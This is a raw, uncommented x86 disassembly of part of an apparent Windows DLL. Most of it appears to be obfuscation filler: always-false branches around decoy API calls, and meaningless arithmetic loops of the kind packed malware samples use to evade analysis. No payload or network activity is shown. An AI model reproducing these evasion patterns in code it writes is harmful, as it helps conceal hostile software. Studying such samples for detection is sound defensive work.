mov dword [ebp - 0x40], 0x99d012cd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10036ba8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x78], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10036b97
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x10036c50
or esi, 0xffffffff
mov dword [ebp - 0x3c], 0x22ba7b7e
mov dword [ebp - 0x48], 0x331c587c
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x78]
sub eax, 2
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x78]
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x78]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, esi
setne cl
xor edx, edx
cmp ecx, 0xef66
setne dl
xor ecx, ecx
sub eax, edx
cmp eax, 0xfffffff8
setge cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp + eax*4 - 0x78]
mov ecx, dword [ebp - 0x3c]
inc ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setle al
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x24]
jns 0x10036bb7
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
or edx, 0xffffffff
imul eax, dword [ebp - 0x24], 0xf27a
test eax, eax
je 0x100371a6
mov eax, dword [ebp - 0x78]
xor ecx, ecx
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, edx
setge cl
imul ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x78]
jle 0x100371a6
mov dword [ebp - 0x2c], 0x1a
jmp 0x10037187
xor eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x40], 0xea12
mov dword [ebp - 0x20], 0xffffffe8
cmp dword [ebp - 0x20], 0xc
je 0x10036d09
xor ebx, ebx
mov dword [ebp - 0x14], ebx
jmp 0x10036cbd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x37c], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10036cac
mov dword [ebp - 0x378], ebx
jmp 0x10036cef
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x10036ce9
push 0x17a5
push ebx
push 0x6d3
push 0x1c04
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
inc dword [ebp - 0x378]
cmp dword [ebp - 0x378], 0x12
jl 0x10036ccb
mov eax, dword [ebp - 0x40]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xc
jne 0x10036ca7
mov ebx, 0xffff2a15
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x10036d21
push 0xc62
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0xb3ae3556
mov dword [ebp - 0x3c], 0x78d7cbae
mov dword [ebp - 0x18], 0xfffffff5
cmp dword [ebp - 0x18], 0xffffffe6
jg 0x10036d7f
xor ebx, ebx
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x10036d62
push 0xe15
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x10036d71
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe6
jle 0x10036d41
mov ebx, 0xffff2a15
mov dword [ebp - 0x18], 0xfffffff6
cmp dword [ebp - 0x18], 9
jg 0x10036e53
xor esi, esi
xor ebx, ebx
inc esi
mov dword [ebp - 0x20], 0x4746
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x40], 0xd6446bd2
mov dword [ebp - 0x40], 0x53fde750
cmp dword [ebp - 0x20], ebx
je 0x10036df4
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0x7006986d
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
add ecx, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x4c], 0xffff
sub eax, ecx
mov ecx, esi
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x20], ebx
jne 0x10036df6
mov ecx, ebx
xor eax, eax
cmp ecx, 0xa3062a4b
sete al
or ecx, 0xffffffff
cmp eax, ecx
jg 0x10036e0f
mov ecx, esi
cmp dword [ebp - 0x20], ebx
jne 0x10036e11
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x40], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 9
jle 0x10036d95
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov ebx, 0xffff2a15
xor eax, eax
mov dword [ebp - 0x40], 0xfffffff6
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10036e7f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1294], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10036e67
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10036e9e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10036ebb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
mov dword [ebp - 0x24], 0xffffffe8
cmp dword [ebp - 0x24], 0x1c
jg 0x10037118
xor ebx, ebx
push 2
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10036eea
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x330], 0x647dc4b4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10036ed9
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x10036efe
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x38], 0xfffffff5
cmp dword [ebp - 0x38], 0xffffffea
jne 0x1003700e
xor edx, edx
inc edx
or esi, 0xffffffff
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x38], ebx
jne 0x10037008
mov dword [ebp - 0x20], ebx
jmp 0x10036ff2
mov dword [ebp - 0x14], 0xb3921ded
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x10036f54
push ebx
push ebx
push 0x2357
push 0x2613
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
xor edx, edx
inc edx
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x10036fef
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], ebx
jmp 0x10036f75
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x5f4], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jl 0x10036f68
mov dword [ebp - 0x2c], ebx
jmp 0x10036fcd
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x330]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x5f4]
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x330], 8
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x38]
sbb edx, edx
neg edx
sub eax, 0x2d7af2c9
neg eax
sbb eax, eax
inc eax
imul edx, eax
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
neg edx
imul ecx, edx
xor edx, edx
mov dword [ebp + eax*4 - 0x330], ecx
inc dword [ebp - 0x2c]
inc edx
cmp dword [ebp - 0x2c], edx
jle 0x10036f7f
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x330]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x330], ecx
dec dword [ebp - 0x14]
jns 0x10036f60
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jle 0x10036f29
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffea
je 0x10036f15
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov dword [ebp - 0x14], 0x1e87df2f
mov eax, 0x56cd
mov dword [ebp - 0x34], 0x801fc3ee
or edx, 0xffffffff
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x54c], eax
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x544], eax
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 2
jge 0x1003705b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xcc4], edx
inc dword [ebp - 0x18]
jmp 0x10037046
xor ecx, ecx
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x10037070
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbf8], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10037063
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ecx
jg 0x100370ca
mov esi, 0xffff
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], 0x6ae3d475
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x20], ebx
jmp 0x100370a8
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd1c], 0xfffffff6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10037097
inc dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0xcc4], ebx
jne 0x100370c4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x10037082
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x34], 0xd5e4
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x100370ec
push ebx
push 0x2413
push ebx
call dword [sym.imp.GDI32.dll_GetObjectW]
xor ecx, ecx
inc ecx
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x100370f9
push ecx
push ebx
push ebx
call esi
cmp byte [ebp - 0xd], bl
je 0x10037106
push ebx
push 0x4a7
call edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1c
jle 0x10036ece
mov ebx, 0xffff2a15
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1003712b
cmp dword [ebp - 0x30], eax
jne 0x1003712b
mov ecx, eax
jmp 0x10037130
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, ebx
setne cl
sub eax, ecx
xor ecx, ecx
mov dword [ebp - 0x2c], eax
inc ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x40], 0xdcbd5f5a
jmp 0x10036b77
mov dword [ebp - 0x3c], 0x21ebc5f9
dec dword [ebp - 0x3c]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff4
jle 0x1003717a
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10037238
call dword [sym.imp.USER32.dll_CreatePopupMenu]
jmp 0x10037233
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x48], 0xfffffff6
mov dword [ebp - 0x24], 0xffffffe8
cmp dword [ebp - 0x24], 0x1c
jg 0x100371df
xor ebx, ebx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x100371d1
push ebx
push 0x4a7
call edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1c
jle 0x100371c1
mov ebx, 0xffff2a15
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x100371f2
cmp dword [ebp - 0x30], eax
jne 0x100371f2
mov ecx, eax
jmp 0x100371f7
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, ebx
setne cl
sub eax, ecx
xor ecx, ecx
mov dword [ebp - 0x2c], eax
inc ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], 0xdcbd5f5a
xor eax, eax
or edx, 0xffffffff
mov dword [ebp - 0x24], eax
xor ecx, ecx
mov dword [ebp - 0x2c], edx
inc ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x40], 0x99d012cd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10037264
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7c], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10037253
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x1003730c
or esi, 0xffffffff
mov dword [ebp - 0x3c], 0x22ba7b7e
mov dword [ebp - 0x48], 0x331c587c
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x7c]
sub eax, 2
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x7c]
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x7c]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, esi
setne cl
xor edx, edx
cmp ecx, 0xef66
setne dl
xor ecx, ecx
sub eax, edx
cmp eax, 0xfffffff8
setge cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp + eax*4 - 0x7c]
mov ecx, dword [ebp - 0x3c]
inc ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setle al
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x24]
jns 0x10037273
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
or edx, 0xffffffff
imul eax, dword [ebp - 0x24], 0xf27a
test eax, eax
je 0x100373e7
mov eax, dword [ebp - 0x7c]
xor ecx, ecx
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, edx
setge cl
imul ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x7c]
jle 0x100373e7
mov dword [ebp - 0x2c], 0x1a
jmp 0x10037351
mov dword [ebp - 0x3c], 0x21ebc5f9
dec dword [ebp - 0x3c]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff4
jle 0x10037344
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10037369
call dword [sym.imp.USER32.dll_CreatePopupMenu]
xor eax, eax
xor edi, edi
inc edi
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x40], 0xc629
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1003739c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xde0], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10037383
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ebx
cmp dword [ebp - 0x18], ebx
jge 0x100373bf
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf1c], 0xc509ca4f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100373a7
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x1a
jle 0x100374fe
mov ebx, 0xffff
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x30], 0xddd9cd4
mov dword [ebp - 0x14], eax
jmp 0x1003748e
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x48], 0xfffffff6
mov dword [ebp - 0x24], 0xffffffe8
cmp dword [ebp - 0x24], 0x1c
jg 0x10037420
xor ebx, ebx
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x10037412
push ebx
push 0x4a7
call edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1c
jle 0x10037402
mov ebx, 0xffff2a15
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10037436
cmp dword [ebp - 0x30], eax
jne 0x10037436
xor edi, edi
mov ecx, eax
inc edi
jmp 0x1003743b
xor edi, edi
inc edi
mov ecx, edi
mov eax, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, ebx
setne cl
sub eax, ecx
mov ecx, edi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], 0xdcbd5f5a
xor eax, eax
jmp 0x1003736c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc18], 0xb59229a2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003747d
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xdacd7d39
je 0x100374b2
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x28], eax
jg 0x100374b2
xor eax, eax
jmp 0x100374b4
mov eax, edi
mov edx, dword [ebp - 0x28]
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x28]
cmp edx, eax
setge cl
cmp ecx, ebx
sbb eax, eax
xor ecx, ecx
neg eax
or edx, 0xffffffff
cmp eax, edx
setle cl
mov dword [ebp - 0xdd4], ecx
test ecx, ecx
jg 0x100374e0
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0xc18], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1a
jg 0x100373d1
push 3
pop ebx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x10037544
mov dword [ebp - 0x48], 0xfffffff9
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xddc], eax
mov dword [ebp - 0xf18], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003753a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x10037506
xor eax, eax
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x40], 0xc629
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10037574
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe20], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003755b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10037594
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf34], 0xc509ca4f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003757c
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x1a
jle 0x1003763a
mov ebx, 0xffff
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x30], 0xddd9cd4
mov dword [ebp - 0x14], eax
jmp 0x100375ca
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd64], 0xb59229a2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100375b9
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xdacd7d39
je 0x100375ee
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x28], eax
jg 0x100375ee
xor eax, eax
jmp 0x100375f0
mov eax, edi
mov edx, dword [ebp - 0x28]
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x28]
cmp edx, eax
setge cl
cmp ecx, ebx
sbb eax, eax
xor ecx, ecx
neg eax
or edx, 0xffffffff
cmp eax, edx
setle cl
mov dword [ebp - 0xe14], ecx
test ecx, ecx
jg 0x1003761c
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0xd64], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1a
jg 0x100375a6
push 3
pop ebx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x10037680
mov dword [ebp - 0x48], 0xfffffff9
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xe1c], eax
mov dword [ebp - 0xf30], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10037676
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x10037642
xor eax, eax
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x40], 0xc629
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100376b0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe00], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10037697
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100376d0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf4c], 0xc509ca4f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100376b8
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x1a
jle 0x10037776
mov ebx, 0xffff
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x30], 0xddd9cd4
mov dword [ebp - 0x14], eax
jmp 0x10037706
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc28], 0xb59229a2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100376f5
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xdacd7d39
je 0x1003772a
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x28], eax
jg 0x1003772a
xor eax, eax
jmp 0x1003772c
mov eax, edi
mov edx, dword [ebp - 0x28]
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x28]
cmp edx, eax
setge cl
cmp ecx, ebx
sbb eax, eax
xor ecx, ecx
neg eax
or edx, 0xffffffff
cmp eax, edx
setle cl
mov dword [ebp - 0xdf4], ecx
test ecx, ecx
jg 0x10037758
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0xc28], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1a
jg 0x100376e2
push 3
pop ebx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x100377bc
mov dword [ebp - 0x48], 0xfffffff9
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xdfc], eax
mov dword [ebp - 0xf48], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100377b2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1003777e
xor eax, eax
push 9
pop ecx
mov dword [ebp - 0x9a0], ecx
mov dword [ebp - 0x99c], ecx
mov dword [ebp - 0x998], ecx
mov dword [ebp - 0x994], ecx
mov dword [ebp - 0x18], 0x184c506d
mov dword [ebp - 0x3c], 0xfffffff9
push 2
mov dword [ebp - 0x24], eax
pop edx
cmp dword [ebp - 0x24], edx
jge 0x10037808
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x7d4], 0x74307976
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x100377f0
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10037828
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5c4], 0xfffffffc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10037810
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edx
jge 0x10037848
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xcd8], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10037830
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x100378da
or esi, 0xffffffff
mov dword [ebp - 0x14], 0x2426f379
mov dword [ebp - 0x48], esi
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9a0], edi
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1003788e
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edi
setge cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], eax
jne 0x1003788e
cmp dword [ebp - 0x14], eax
jne 0x1003788e
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x7d0], eax
mov eax, dword [ebp - 0x18]
cmp eax, edi
setl cl
mov dword [ebp - 0x5c4], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x7d0]
mov dword [ebp - 0xcd8], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10037857
mov esi, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
xor eax, eax
push 9
pop ecx
mov dword [ebp - 0xaa0], ecx
mov dword [ebp - 0xa9c], ecx
mov dword [ebp - 0xa98], ecx
mov dword [ebp - 0xa94], ecx
mov dword [ebp - 0x18], 0x184c506d
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edx
jge 0x10037920
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x78c], 0x74307976
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10037908
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10037940
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5a4], 0xfffffffc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10037928
xor eax, eax
mov dword [ebp - 0x24], eax
